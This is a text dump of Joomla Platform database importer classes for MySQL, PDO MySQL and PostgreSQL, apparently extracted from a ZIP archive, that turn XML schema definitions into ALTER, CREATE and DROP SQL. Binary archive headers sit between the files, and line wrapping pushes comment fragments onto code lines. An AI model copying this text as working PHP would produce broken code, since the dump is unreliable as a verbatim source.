$this->db->quoteName($tableName) . ' (';
foreach ($table->xpath('field') as $field)
{
$createTableStatement .= $this->getColumnSQL($field) . ',
';
}
$newLookup = $this->getKeyLookup($table->xpath('key'));
// Loop through each key in the new structure.
foreach ($newLookup as $key)
{
$createTableStatement .= $this->getKeySQL($key) . ', ';
}
// Remove the comma after the last key
$createTableStatement = rtrim($createTableStatement, ', ');
$createTableStatement .= ')';
return $createTableStatement;
}
/**
* Get the SQL syntax to add a column.
*
* @param string $table The table name.
* @param SimpleXMLElement $field The XML field definition.
*
* @return string
*
* @since 1.7.0
*/
protected function getAddColumnSql($table, SimpleXMLElement $field)
{
return 'ALTER TABLE ' . $this->db->quoteName($table) .
' ADD COLUMN ' . $this->getColumnSql($field);
}
/**
* Get the SQL syntax to add a key.
*
* @param string $table The table name.
* @param array $keys An array of the fields pertaining to this key.
*
* @return string
*
* @since 1.7.0
*/
protected function getAddKeySql($table, $keys)
{
return 'ALTER TABLE ' . $this->db->quoteName($table) .
' ADD ' . $this->getKeySql($keys);
}
/**
* Get alters for table if there is a difference.
*
* @param SimpleXMLElement $structure The XML structure of the table.
*
* @return array
*
* @since 1.7.0
*/
protected function getAlterTableSql(SimpleXMLElement $structure)
{
$table = $this->getRealTableName($structure['name']);
$oldFields = $this->db->getTableColumns($table, false);
$oldKeys = $this->db->getTableKeys($table);
$alters = array();
// Get the fields and keys from the XML that we are aiming for.
$newFields = $structure->xpath('field');
$newKeys = $structure->xpath('key');
// Loop through each field in the new structure.
foreach ($newFields as $field)
{
$fName = (string) $field['Field'];
if (isset($oldFields[$fName]))
{
// The field exists, check it's the same.
$column = $oldFields[$fName];
// Test whether there is a change.
$change = ((string) $field['Type'] != $column->Type) ||
((string) $field['Null'] != $column->Null)
|| ((string) $field['Default'] != $column->Default) ||
((string) $field['Extra'] != $column->Extra);
if ($change)
{
$alters[] = $this->getChangeColumnSql($table, $field);
}
// Unset this field so that what we have left are fields that need to
be removed.
unset($oldFields[$fName]);
}
else
{
// The field is new.
$alters[] = $this->getAddColumnSql($table, $field);
}
}
// Any columns left are orphans
foreach ($oldFields as $name => $column)
{
// Delete the column.
$alters[] = $this->getDropColumnSql($table, $name);
}
// Get the lookups for the old and new keys.
$oldLookup = $this->getKeyLookup($oldKeys);
$newLookup = $this->getKeyLookup($newKeys);
// Loop through each key in the new structure.
foreach ($newLookup as $name => $keys)
{
// Check if there are keys on this field in the existing table.
if (isset($oldLookup[$name]))
{
$same = true;
$newCount = count($newLookup[$name]);
$oldCount = count($oldLookup[$name]);
// There is a key on this field in the old and new tables. Are they the
same?
if ($newCount == $oldCount)
{
// Need to loop through each key and do a fine grained check.
for ($i = 0; $i < $newCount; $i++)
{
$same = (((string) $newLookup[$name][$i]['Non_unique'] ==
$oldLookup[$name][$i]->Non_unique)
&& ((string) $newLookup[$name][$i]['Column_name']
== $oldLookup[$name][$i]->Column_name)
&& ((string) $newLookup[$name][$i]['Seq_in_index']
== $oldLookup[$name][$i]->Seq_in_index)
&& ((string) $newLookup[$name][$i]['Collation'] ==
$oldLookup[$name][$i]->Collation)
&& ((string) $newLookup[$name][$i]['Index_type']
== $oldLookup[$name][$i]->Index_type));
/*
Debug.
echo '<pre>';
echo '<br />Non_unique: '.
((string) $newLookup[$name][$i]['Non_unique'] ==
$oldLookup[$name][$i]->Non_unique ? 'Pass' :
'Fail').' '.
(string) $newLookup[$name][$i]['Non_unique'].' vs
'.$oldLookup[$name][$i]->Non_unique;
echo '<br />Column_name: '.
((string) $newLookup[$name][$i]['Column_name'] ==
$oldLookup[$name][$i]->Column_name ? 'Pass' :
'Fail').' '.
(string) $newLookup[$name][$i]['Column_name'].' vs
'.$oldLookup[$name][$i]->Column_name;
echo '<br />Seq_in_index: '.
((string) $newLookup[$name][$i]['Seq_in_index'] ==
$oldLookup[$name][$i]->Seq_in_index ? 'Pass' :
'Fail').' '.
(string) $newLookup[$name][$i]['Seq_in_index'].' vs
'.$oldLookup[$name][$i]->Seq_in_index;
echo '<br />Collation: '.
((string) $newLookup[$name][$i]['Collation'] ==
$oldLookup[$name][$i]->Collation ? 'Pass' :
'Fail').' '.
(string) $newLookup[$name][$i]['Collation'].' vs
'.$oldLookup[$name][$i]->Collation;
echo '<br />Index_type: '.
((string) $newLookup[$name][$i]['Index_type'] ==
$oldLookup[$name][$i]->Index_type ? 'Pass' :
'Fail').' '.
(string) $newLookup[$name][$i]['Index_type'].' vs
'.$oldLookup[$name][$i]->Index_type;
echo '<br />Same = '.($same ? 'true' :
'false');
echo '</pre>';
*/
if (!$same)
{
// Break out of the loop. No need to check further.
break;
}
}
}
else
{
// Count is different, just drop and add.
$same = false;
}
if (!$same)
{
$alters[] = $this->getDropKeySql($table, $name);
$alters[] = $this->getAddKeySql($table, $keys);
}
// Unset this field so that what we have left are fields that need to
be removed.
unset($oldLookup[$name]);
}
else
{
// This is a new key.
$alters[] = $this->getAddKeySql($table, $keys);
}
}
// Any keys left are orphans.
foreach ($oldLookup as $name => $keys)
{
if (strtoupper($name) == 'PRIMARY')
{
$alters[] = $this->getDropPrimaryKeySql($table);
}
else
{
$alters[] = $this->getDropKeySql($table, $name);
}
}
return $alters;
}
/**
* Get the syntax to alter a column.
*
* @param string $table The name of the database table to
alter.
* @param SimpleXMLElement $field The XML definition for the field.
*
* @return string
*
* @since 1.7.0
*/
protected function getChangeColumnSql($table, SimpleXMLElement $field)
{
return 'ALTER TABLE ' . $this->db->quoteName($table) .
' CHANGE COLUMN ' . $this->db->quoteName((string)
$field['Field']) . ' '
. $this->getColumnSql($field);
}
/**
* Get the SQL syntax for a single column that would be included in a
table create or alter statement.
*
* @param SimpleXMLElement $field The XML field definition.
*
* @return string
*
* @since 1.7.0
*/
protected function getColumnSql(SimpleXMLElement $field)
{
// TODO Incorporate into parent class and use $this.
$blobs = array('text', 'smalltext',
'mediumtext', 'largetext');
$fName = (string) $field['Field'];
$fType = (string) $field['Type'];
$fNull = (string) $field['Null'];
$fDefault = isset($field['Default']) ? (string)
$field['Default'] : null;
$fExtra = (string) $field['Extra'];
$query = $this->db->quoteName($fName) . ' ' . $fType;
if ($fNull == 'NO')
{
if (in_array($fType, $blobs) || $fDefault === null)
{
$query .= ' NOT NULL';
}
else
{
// TODO Don't quote numeric values.
$query .= ' NOT NULL DEFAULT ' .
$this->db->quote($fDefault);
}
}
else
{
if ($fDefault === null)
{
$query .= ' DEFAULT NULL';
}
else
{
// TODO Don't quote numeric values.
$query .= ' DEFAULT ' . $this->db->quote($fDefault);
}
}
if ($fExtra)
{
$query .= ' ' . strtoupper($fExtra);
}
return $query;
}
/**
* Get the SQL syntax to drop a key.
*
* @param string $table The table name.
* @param string $name The name of the key to drop.
*
* @return string
*
* @since 1.7.0
*/
protected function getDropKeySql($table, $name)
{
return 'ALTER TABLE ' . $this->db->quoteName($table) .
' DROP KEY ' . $this->db->quoteName($name);
}
/**
* Get the SQL syntax to drop a key.
*
* @param string $table The table name.
*
* @return string
*
* @since 1.7.0
*/
protected function getDropPrimaryKeySql($table)
{
return 'ALTER TABLE ' . $this->db->quoteName($table) .
' DROP PRIMARY KEY';
}
/**
* Get the details list of keys for a table.
*
* @param array $keys An array of objects that comprise the keys for
the table.
*
* @return array The lookup array. array({key name} => array(object,
...))
*
* @since 1.7.0
* @throws Exception
*/
protected function getKeyLookup($keys)
{
// First pass, create a lookup of the keys.
$lookup = array();
foreach ($keys as $key)
{
if ($key instanceof SimpleXMLElement)
{
$kName = (string) $key['Key_name'];
}
else
{
$kName = $key->Key_name;
}
if (empty($lookup[$kName]))
{
$lookup[$kName] = array();
}
$lookup[$kName][] = $key;
}
return $lookup;
}
/**
* Get the SQL syntax for a key.
*
* @param array $columns An array of SimpleXMLElement objects
comprising the key.
*
* @return string
*
* @since 1.7.0
*/
protected function getKeySql($columns)
{
// TODO Error checking on array and element types.
$kNonUnique = (string) $columns[0]['Non_unique'];
$kName = (string) $columns[0]['Key_name'];
$kColumn = (string) $columns[0]['Column_name'];
$prefix = '';
if ($kName == 'PRIMARY')
{
$prefix = 'PRIMARY ';
}
elseif ($kNonUnique == 0)
{
$prefix = 'UNIQUE ';
}
$nColumns = count($columns);
$kColumns = array();
if ($nColumns == 1)
{
$kColumns[] = $this->db->quoteName($kColumn);
}
else
{
foreach ($columns as $column)
{
$kColumns[] = (string) $column['Column_name'];
}
}
$query = $prefix . 'KEY ' . ($kName != 'PRIMARY' ?
$this->db->quoteName($kName) : '') . ' (' .
implode(',', $kColumns) . ')';
return $query;
}
}
PKHn�[;c%�
,
,database/importer/pdomysql.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* MySQL import driver for the PDO based MySQL database driver.
*
* @package Joomla.Platform
* @subpackage Database
* @since 3.4
*/
class JDatabaseImporterPdomysql extends JDatabaseImporter
{
/**
* Get the SQL syntax to add a column.
*
* @param string $table The table name.
* @param SimpleXMLElement $field The XML field definition.
*
* @return string
*
* @since 3.4
*/
protected function getAddColumnSql($table, SimpleXMLElement $field)
{
$sql = 'ALTER TABLE ' . $this->db->quoteName($table) .
' ADD COLUMN ' . $this->getColumnSql($field);
return $sql;
}
/**
* Get the SQL syntax to add a key.
*
* @param string $table The table name.
* @param array $keys An array of the fields pertaining to this key.
*
* @return string
*
* @since 3.4
*/
protected function getAddKeySql($table, $keys)
{
$sql = 'ALTER TABLE ' . $this->db->quoteName($table) .
' ADD ' . $this->getKeySql($keys);
return $sql;
}
/**
* Get alters for table if there is a difference.
*
* @param SimpleXMLElement $structure The XML structure of the table.
*
* @return array
*
* @since 3.4
*/
protected function getAlterTableSql(SimpleXMLElement $structure)
{
// Initialise variables.
$table = $this->getRealTableName($structure['name']);
$oldFields = $this->db->getTableColumns($table);
$oldKeys = $this->db->getTableKeys($table);
$alters = array();
// Get the fields and keys from the XML that we are aiming for.
$newFields = $structure->xpath('field');
$newKeys = $structure->xpath('key');
// Loop through each field in the new structure.
foreach ($newFields as $field)
{
$fName = (string) $field['Field'];
if (isset($oldFields[$fName]))
{
// The field exists, check it's the same.
$column = $oldFields[$fName];
// Test whether there is a change.
$change = ((string) $field['Type'] != $column->Type) ||
((string) $field['Null'] != $column->Null)
|| ((string) $field['Default'] != $column->Default) ||
((string) $field['Extra'] != $column->Extra);
if ($change)
{
$alters[] = $this->getChangeColumnSql($table, $field);
}
// Unset this field so that what we have left are fields that need to
be removed.
unset($oldFields[$fName]);
}
else
{
// The field is new.
$alters[] = $this->getAddColumnSql($table, $field);
}
}
// Any columns left are orphans
foreach ($oldFields as $name => $column)
{
// Delete the column.
$alters[] = $this->getDropColumnSql($table, $name);
}
// Get the lookups for the old and new keys.
$oldLookup = $this->getKeyLookup($oldKeys);
$newLookup = $this->getKeyLookup($newKeys);
// Loop through each key in the new structure.
foreach ($newLookup as $name => $keys)
{
// Check if there are keys on this field in the existing table.
if (isset($oldLookup[$name]))
{
$same = true;
$newCount = count($newLookup[$name]);
$oldCount = count($oldLookup[$name]);
// There is a key on this field in the old and new tables. Are they the
same?
if ($newCount == $oldCount)
{
// Need to loop through each key and do a fine grained check.
for ($i = 0; $i < $newCount; $i++)
{
$same = (((string) $newLookup[$name][$i]['Non_unique'] ==
$oldLookup[$name][$i]->Non_unique)
&& ((string) $newLookup[$name][$i]['Column_name']
== $oldLookup[$name][$i]->Column_name)
&& ((string) $newLookup[$name][$i]['Seq_in_index']
== $oldLookup[$name][$i]->Seq_in_index)
&& ((string) $newLookup[$name][$i]['Collation'] ==
$oldLookup[$name][$i]->Collation)
&& ((string) $newLookup[$name][$i]['Index_type']
== $oldLookup[$name][$i]->Index_type));
/*
Debug.
echo '<pre>';
echo '<br />Non_unique: '.
((string) $newLookup[$name][$i]['Non_unique'] ==
$oldLookup[$name][$i]->Non_unique ? 'Pass' :
'Fail').' '.
(string) $newLookup[$name][$i]['Non_unique'].' vs
'.$oldLookup[$name][$i]->Non_unique;
echo '<br />Column_name: '.
((string) $newLookup[$name][$i]['Column_name'] ==
$oldLookup[$name][$i]->Column_name ? 'Pass' :
'Fail').' '.
(string) $newLookup[$name][$i]['Column_name'].' vs
'.$oldLookup[$name][$i]->Column_name;
echo '<br />Seq_in_index: '.
((string) $newLookup[$name][$i]['Seq_in_index'] ==
$oldLookup[$name][$i]->Seq_in_index ? 'Pass' :
'Fail').' '.
(string) $newLookup[$name][$i]['Seq_in_index'].' vs
'.$oldLookup[$name][$i]->Seq_in_index;
echo '<br />Collation: '.
((string) $newLookup[$name][$i]['Collation'] ==
$oldLookup[$name][$i]->Collation ? 'Pass' :
'Fail').' '.
(string) $newLookup[$name][$i]['Collation'].' vs
'.$oldLookup[$name][$i]->Collation;
echo '<br />Index_type: '.
((string) $newLookup[$name][$i]['Index_type'] ==
$oldLookup[$name][$i]->Index_type ? 'Pass' :
'Fail').' '.
(string) $newLookup[$name][$i]['Index_type'].' vs
'.$oldLookup[$name][$i]->Index_type;
echo '<br />Same = '.($same ? 'true' :
'false');
echo '</pre>';
*/
if (!$same)
{
// Break out of the loop. No need to check further.
break;
}
}
}
else
{
// Count is different, just drop and add.
$same = false;
}
if (!$same)
{
$alters[] = $this->getDropKeySql($table, $name);
$alters[] = $this->getAddKeySql($table, $keys);
}
// Unset this field so that what we have left are fields that need to
be removed.
unset($oldLookup[$name]);
}
else
{
// This is a new key.
$alters[] = $this->getAddKeySql($table, $keys);
}
}
// Any keys left are orphans.
foreach ($oldLookup as $name => $keys)
{
if (strtoupper($name) == 'PRIMARY')
{
$alters[] = $this->getDropPrimaryKeySql($table);
}
else
{
$alters[] = $this->getDropKeySql($table, $name);
}
}
return $alters;
}
/**
* Get the syntax to alter a column.
*
* @param string $table The name of the database table to
alter.
* @param SimpleXMLElement $field The XML definition for the field.
*
* @return string
*
* @since 3.4
*/
protected function getChangeColumnSql($table, SimpleXMLElement $field)
{
$sql = 'ALTER TABLE ' . $this->db->quoteName($table) .
' CHANGE COLUMN ' . $this->db->quoteName((string)
$field['Field']) . ' '
. $this->getColumnSql($field);
return $sql;
}
/**
* Get the SQL syntax for a single column that would be included in a
table create or alter statement.
*
* @param SimpleXMLElement $field The XML field definition.
*
* @return string
*
* @since 3.4
*/
protected function getColumnSql(SimpleXMLElement $field)
{
// Initialise variables.
// TODO Incorporate into parent class and use $this.
$blobs = array('text', 'smalltext',
'mediumtext', 'largetext');
$fName = (string) $field['Field'];
$fType = (string) $field['Type'];
$fNull = (string) $field['Null'];
$fDefault = isset($field['Default']) ? (string)
$field['Default'] : null;
$fExtra = (string) $field['Extra'];
$sql = $this->db->quoteName($fName) . ' ' . $fType;
if ($fNull == 'NO')
{
if (in_array($fType, $blobs) || $fDefault === null)
{
$sql .= ' NOT NULL';
}
else
{
// TODO Don't quote numeric values.
$sql .= ' NOT NULL DEFAULT ' .
$this->db->quote($fDefault);
}
}
else
{
if ($fDefault === null)
{
$sql .= ' DEFAULT NULL';
}
else
{
// TODO Don't quote numeric values.
$sql .= ' DEFAULT ' . $this->db->quote($fDefault);
}
}
if ($fExtra)
{
$sql .= ' ' . strtoupper($fExtra);
}
return $sql;
}
/**
* Get the SQL syntax to drop a column.
*
* @param string $table The table name.
* @param string $name The name of the field to drop.
*
* @return string
*
* @since 3.4
*/
protected function getDropColumnSql($table, $name)
{
$sql = 'ALTER TABLE ' . $this->db->quoteName($table) .
' DROP COLUMN ' . $this->db->quoteName($name);
return $sql;
}
/**
* Get the SQL syntax to drop a key.
*
* @param string $table The table name.
* @param string $name The name of the key to drop.
*
* @return string
*
* @since 3.4
*/
protected function getDropKeySql($table, $name)
{
$sql = 'ALTER TABLE ' . $this->db->quoteName($table) .
' DROP KEY ' . $this->db->quoteName($name);
return $sql;
}
/**
* Get the SQL syntax to drop a key.
*
* @param string $table The table name.
*
* @return string
*
* @since 3.4
*/
protected function getDropPrimaryKeySql($table)
{
$sql = 'ALTER TABLE ' . $this->db->quoteName($table) .
' DROP PRIMARY KEY';
return $sql;
}
/**
* Get the details list of keys for a table.
*
* @param array $keys An array of objects that comprise the keys for
the table.
*
* @return array The lookup array. array({key name} => array(object,
...))
*
* @since 3.4
* @throws Exception
*/
protected function getKeyLookup($keys)
{
// First pass, create a lookup of the keys.
$lookup = array();
foreach ($keys as $key)
{
if ($key instanceof SimpleXMLElement)
{
$kName = (string) $key['Key_name'];
}
else
{
$kName = $key->Key_name;
}
if (empty($lookup[$kName]))
{
$lookup[$kName] = array();
}
$lookup[$kName][] = $key;
}
return $lookup;
}
/**
* Get the SQL syntax for a key.
*
* @param array $columns An array of SimpleXMLElement objects
comprising the key.
*
* @return string
*
* @since 3.4
*/
protected function getKeySql($columns)
{
// TODO Error checking on array and element types.
$kNonUnique = (string) $columns[0]['Non_unique'];
$kName = (string) $columns[0]['Key_name'];
$kColumn = (string) $columns[0]['Column_name'];
$prefix = '';
if ($kName == 'PRIMARY')
{
$prefix = 'PRIMARY ';
}
elseif ($kNonUnique == 0)
{
$prefix = 'UNIQUE ';
}
$nColumns = count($columns);
$kColumns = array();
if ($nColumns == 1)
{
$kColumns[] = $this->db->quoteName($kColumn);
}
else
{
foreach ($columns as $column)
{
$kColumns[] = (string) $column['Column_name'];
}
}
$sql = $prefix . 'KEY ' . ($kName != 'PRIMARY' ?
$this->db->quoteName($kName) : '') . ' (' .
implode(',', $kColumns) . ')';
return $sql;
}
/**
* Checks if all data and options are in order prior to exporting.
*
* @return JDatabaseImporterPdomysql Method supports chaining.
*
* @since 3.4
* @throws Exception if an error is encountered.
*/
public function check()
{
// Check if the db connector has been set.
if (!($this->db instanceof JDatabaseDriverPdomysql))
{
throw new
Exception('JPLATFORM_ERROR_DATABASE_CONNECTOR_WRONG_TYPE');
}
// Check if the tables have been specified.
if (empty($this->from))
{
throw new Exception('JPLATFORM_ERROR_NO_TABLES_SPECIFIED');
}
return $this;
}
}
PKIn�[�
-���database/importer/pgsql.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* PDO PostgreSQL Database Importer.
*
* @since 3.9.0
*/
class JDatabaseImporterPgsql extends JDatabaseImporterPostgresql
{
/**
* Checks if all data and options are in order prior to exporting.
*
* @return JDatabaseImporterPgsql Method supports chaining.
*
* @since 3.9.0
* @throws \Exception if an error is encountered.
*/
public function check()
{
// Check if the db connector has been set.
if (!($this->db instanceof JDatabaseDriverPgsql))
{
throw new
Exception('JPLATFORM_ERROR_DATABASE_CONNECTOR_WRONG_TYPE');
}
// Check if the tables have been specified.
if (empty($this->from))
{
throw new Exception('JPLATFORM_ERROR_NO_TABLES_SPECIFIED');
}
return $this;
}
}
PKIn�[Z��38989
database/importer/postgresql.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* PostgreSQL import driver.
*
* @since 3.0.0
* @deprecated 4.0 Use PDO PostgreSQL instead
*/
class JDatabaseImporterPostgresql extends JDatabaseImporter
{
/**
* Checks if all data and options are in order prior to exporting.
*
* @return JDatabaseImporterPostgresql Method supports chaining.
*
* @since 3.0.0
* @throws Exception if an error is encountered.
*/
public function check()
{
// Check if the db connector has been set.
if (!($this->db instanceof JDatabaseDriverPostgresql))
{
throw new
Exception('JPLATFORM_ERROR_DATABASE_CONNECTOR_WRONG_TYPE');
}
// Check if the tables have been specified.
if (empty($this->from))
{
throw new Exception('JPLATFORM_ERROR_NO_TABLES_SPECIFIED');
}
return $this;
}
/**
* Get the SQL syntax to add a column.
*
* @param string $table The table name.
* @param SimpleXMLElement $field The XML field definition.
*
* @return string
*
* @since 3.0.0
*/
protected function getAddColumnSql($table, SimpleXMLElement $field)
{
return 'ALTER TABLE ' . $this->db->quoteName($table) .
' ADD COLUMN ' . $this->getColumnSql($field);
}
/**
* Get the SQL syntax to add an index.
*
* @param SimpleXMLElement $field The XML index definition.
*
* @return string
*
* @since 3.0.0
*/
protected function getAddIndexSql(SimpleXMLElement $field)
{
return (string) $field['Query'];
}
/**
* Get alters for table if there is a difference.
*
* @param SimpleXMLElement $structure The XML structure of the table.
*
* @return array
*
* @since 3.0.0
*/
protected function getAlterTableSql(SimpleXMLElement $structure)
{
$table = $this->getRealTableName($structure['name']);
$oldFields = $this->db->getTableColumns($table);
$oldKeys = $this->db->getTableKeys($table);
$oldSequence = $this->db->getTableSequences($table);
$alters = array();
// Get the fields and keys from the XML that we are aiming for.
$newFields = $structure->xpath('field');
$newKeys = $structure->xpath('key');
$newSequence = $structure->xpath('sequence');
/* Sequence section */
$oldSeq = $this->getSeqLookup($oldSequence);
$newSequenceLook = $this->getSeqLookup($newSequence);
foreach ($newSequenceLook as $kSeqName => $vSeq)
{
if (isset($oldSeq[$kSeqName]))
{
// The field exists, check it's the same.
$column = $oldSeq[$kSeqName][0];
/* For older database version that doesn't support these fields
use default values */
if (version_compare($this->db->getVersion(), '9.1.0')
< 0)
{
$column->Min_Value = '1';
$column->Max_Value = '9223372036854775807';
$column->Increment = '1';
$column->Cycle_option = 'NO';
$column->Start_Value = '1';
}
// Test whether there is a change.
$change = ((string) $vSeq[0]['Type'] != $column->Type) ||
((string) $vSeq[0]['Start_Value'] != $column->Start_Value)
|| ((string) $vSeq[0]['Min_Value'] != $column->Min_Value)
|| ((string) $vSeq[0]['Max_Value'] != $column->Max_Value)
|| ((string) $vSeq[0]['Increment'] != $column->Increment)
|| ((string) $vSeq[0]['Cycle_option'] !=
$column->Cycle_option)
|| ((string) $vSeq[0]['Table'] != $column->Table) ||
((string) $vSeq[0]['Column'] != $column->Column)
|| ((string) $vSeq[0]['Schema'] != $column->Schema) ||
((string) $vSeq[0]['Name'] != $column->Name);
if ($change)
{
$alters[] = $this->getChangeSequenceSql($kSeqName, $vSeq);
}
// Unset this field so that what we have left are fields that need to
be removed.
unset($oldSeq[$kSeqName]);
}
else
{
// The sequence is new
$alters[] =
$this->getAddSequenceSql($newSequenceLook[$kSeqName][0]);
}
}
// Any sequences left are orphans
foreach ($oldSeq as $name => $column)
{
// Delete the sequence.
$alters[] = $this->getDropSequenceSql($name);
}
/* Field section */
// Loop through each field in the new structure.
foreach ($newFields as $field)
{
$fName = (string) $field['Field'];
if (isset($oldFields[$fName]))
{
// The field exists, check it's the same.
$column = $oldFields[$fName];
// Test whether there is a change.
$change = ((string) $field['Type'] != $column->Type) ||
((string) $field['Null'] != $column->Null)
|| ((string) $field['Default'] != $column->Default);
if ($change)
{
$alters[] = $this->getChangeColumnSql($table, $field);
}
// Unset this field so that what we have left are fields that need to
be removed.
unset($oldFields[$fName]);
}
else
{
// The field is new.
$alters[] = $this->getAddColumnSql($table, $field);
}
}
// Any columns left are orphans
foreach ($oldFields as $name => $column)
{
// Delete the column.
$alters[] = $this->getDropColumnSql($table, $name);
}
/* Index section */
// Get the lookups for the old and new keys
$oldLookup = $this->getIdxLookup($oldKeys);
$newLookup = $this->getIdxLookup($newKeys);
// Loop through each key in the new structure.
foreach ($newLookup as $name => $keys)
{
// Check if there are keys on this field in the existing table.
if (isset($oldLookup[$name]))
{
$same = true;
$newCount = count($newLookup[$name]);
$oldCount = count($oldLookup[$name]);
// There is a key on this field in the old and new tables. Are they the
same?
if ($newCount == $oldCount)
{
for ($i = 0; $i < $newCount; $i++)
{
// Check only query field -> different query means different index
$same = ((string) $newLookup[$name][$i]['Query'] ==
$oldLookup[$name][$i]->Query);
if (!$same)
{
// Break out of the loop. No need to check further.
break;
}
}
}
else
{
// Count is different, just drop and add.
$same = false;
}
if (!$same)
{
$alters[] = $this->getDropIndexSql($name);
$alters[] = (string) $newLookup[$name][0]['Query'];
}
// Unset this field so that what we have left are fields that need to
be removed.
unset($oldLookup[$name]);
}
else
{
// This is a new key.
$alters[] = (string) $newLookup[$name][0]['Query'];
}
}
// Any keys left are orphans.
foreach ($oldLookup as $name => $keys)
{
if ($oldLookup[$name][0]->is_primary == 'TRUE')
{
$alters[] = $this->getDropPrimaryKeySql($table,
$oldLookup[$name][0]->Index);
}
else
{
$alters[] = $this->getDropIndexSql($name);
}
}
return $alters;
}
/**
* Get the SQL syntax to drop a sequence.
*
* @param string $name The name of the sequence to drop.
*
* @return string
*
* @since 3.0.0
*/
protected function getDropSequenceSql($name)
{
return 'DROP SEQUENCE ' . $this->db->quoteName($name);
}
/**
* Get the syntax to add a sequence.
*
* @param SimpleXMLElement $field The XML definition for the sequence.
*
* @return string
*
* @since 3.0.0
*/
protected function getAddSequenceSql($field)
{
/* For older database version that doesn't support these fields use
default values */
if (version_compare($this->db->getVersion(), '9.1.0')
< 0)
{
$field['Min_Value'] = '1';
$field['Max_Value'] = '9223372036854775807';
$field['Increment'] = '1';
$field['Cycle_option'] = 'NO';
$field['Start_Value'] = '1';
}
return 'CREATE SEQUENCE ' . (string) $field['Name'] .
' INCREMENT BY ' . (string) $field['Increment'] .
' MINVALUE ' . $field['Min_Value'] .
' MAXVALUE ' . (string) $field['Max_Value'] . '
START ' . (string) $field['Start_Value'] .
(((string) $field['Cycle_option'] == 'NO') ? '
NO' : '') . ' CYCLE' .
' OWNED BY ' . $this->db->quoteName((string)
$field['Schema'] . '.' . (string)
$field['Table'] . '.' . (string)
$field['Column']);
}
/**
* Get the syntax to alter a sequence.
*
* @param SimpleXMLElement $field The XML definition for the sequence.
*
* @return string
*
* @since 3.0.0
*/
protected function getChangeSequenceSql($field)
{
/* For older database version that doesn't support these fields use
default values */
if (version_compare($this->db->getVersion(), '9.1.0')
< 0)
{
$field['Min_Value'] = '1';
$field['Max_Value'] = '9223372036854775807';
$field['Increment'] = '1';
$field['Cycle_option'] = 'NO';
$field['Start_Value'] = '1';
}
return 'ALTER SEQUENCE ' . (string) $field['Name'] .
' INCREMENT BY ' . (string) $field['Increment'] .
' MINVALUE ' . (string) $field['Min_Value'] .
' MAXVALUE ' . (string) $field['Max_Value'] . '
START ' . (string) $field['Start_Value'] .
' OWNED BY ' . $this->db->quoteName((string)
$field['Schema'] . '.' . (string)
$field['Table'] . '.' . (string)
$field['Column']);
}
/**
* Get the syntax to alter a column.
*
* @param string $table The name of the database table to
alter.
* @param SimpleXMLElement $field The XML definition for the field.
*
* @return string
*
* @since 3.0.0
*/
protected function getChangeColumnSql($table, SimpleXMLElement $field)
{
return 'ALTER TABLE ' . $this->db->quoteName($table) .
' ALTER COLUMN ' . $this->db->quoteName((string)
$field['Field']) . ' '
. $this->getAlterColumnSql($table, $field);
}
/**
* Get the SQL syntax for a single column that would be included in a
table create statement.
*
* @param string $table The name of the database table to
alter.
* @param SimpleXMLElement $field The XML field definition.
*
* @return string
*
* @since 3.0.0
*/
protected function getAlterColumnSql($table, $field)
{
// TODO Incorporate into parent class and use $this.
$blobs = array('text', 'smalltext',
'mediumtext', 'largetext');
$fName = (string) $field['Field'];
$fType = (string) $field['Type'];
$fNull = (string) $field['Null'];
$fDefault = (isset($field['Default']) &&
$field['Default'] != 'NULL') ?
preg_match('/^[0-9]$/', $field['Default']) ?
$field['Default'] : $this->db->quote((string)
$field['Default'])
: null;
$query = ' TYPE ' . $fType;
if ($fNull == 'NO')
{
if (in_array($fType, $blobs) || $fDefault === null)
{
$query .= ",\nALTER COLUMN " .
$this->db->quoteName($fName) . ' SET NOT NULL' .
",\nALTER COLUMN " . $this->db->quoteName($fName) .
' DROP DEFAULT';
}
else
{
$query .= ",\nALTER COLUMN " .
$this->db->quoteName($fName) . ' SET NOT NULL' .
",\nALTER COLUMN " . $this->db->quoteName($fName) .
' SET DEFAULT ' . $fDefault;
}
}
else
{
if ($fDefault !== null)
{
$query .= ",\nALTER COLUMN " .
$this->db->quoteName($fName) . ' DROP NOT NULL' .
",\nALTER COLUMN " . $this->db->quoteName($fName) .
' SET DEFAULT ' . $fDefault;
}
}
/* sequence was created in other function, here is associated a default
value but not yet owner */
if (strpos($fDefault, 'nextval') !== false)
{
$query .= ";\nALTER SEQUENCE " .
$this->db->quoteName($table . '_' . $fName .
'_seq') . ' OWNED BY ' .
$this->db->quoteName($table . '.' . $fName);
}
return $query;
}
/**
* Get the SQL syntax for a single column that would be included in a
table create statement.
*
* @param SimpleXMLElement $field The XML field definition.
*
* @return string
*
* @since 3.0.0
*/
protected function getColumnSql(SimpleXMLElement $field)
{
// TODO Incorporate into parent class and use $this.
$blobs = array('text', 'smalltext',
'mediumtext', 'largetext');
$fName = (string) $field['Field'];
$fType = (string) $field['Type'];
$fNull = (string) $field['Null'];
$fDefault = (isset($field['Default']) &&
$field['Default'] != 'NULL') ?
preg_match('/^[0-9]$/', $field['Default']) ?
$field['Default'] : $this->db->quote((string)
$field['Default'])
: null;
/* nextval() as default value means that type field is serial */
if (strpos($fDefault, 'nextval') !== false)
{
$query = $this->db->quoteName($fName) . ' SERIAL';
}
else
{
$query = $this->db->quoteName($fName) . ' ' . $fType;
if ($fNull == 'NO')
{
if (in_array($fType, $blobs) || $fDefault === null)
{
$query .= ' NOT NULL';
}
else
{
$query .= ' NOT NULL DEFAULT ' . $fDefault;
}
}
else
{
if ($fDefault !== null)
{
$query .= ' DEFAULT ' . $fDefault;
}
}
}
return $query;
}
/**
* Get the SQL syntax to drop an index.
*
* @param string $name The name of the key to drop.
*
* @return string
*
* @since 3.0.0
*/
protected function getDropIndexSql($name)
{
return 'DROP INDEX ' . $this->db->quoteName($name);
}
/**
* Get the SQL syntax to drop a key.
*
* @param string $table The table name.
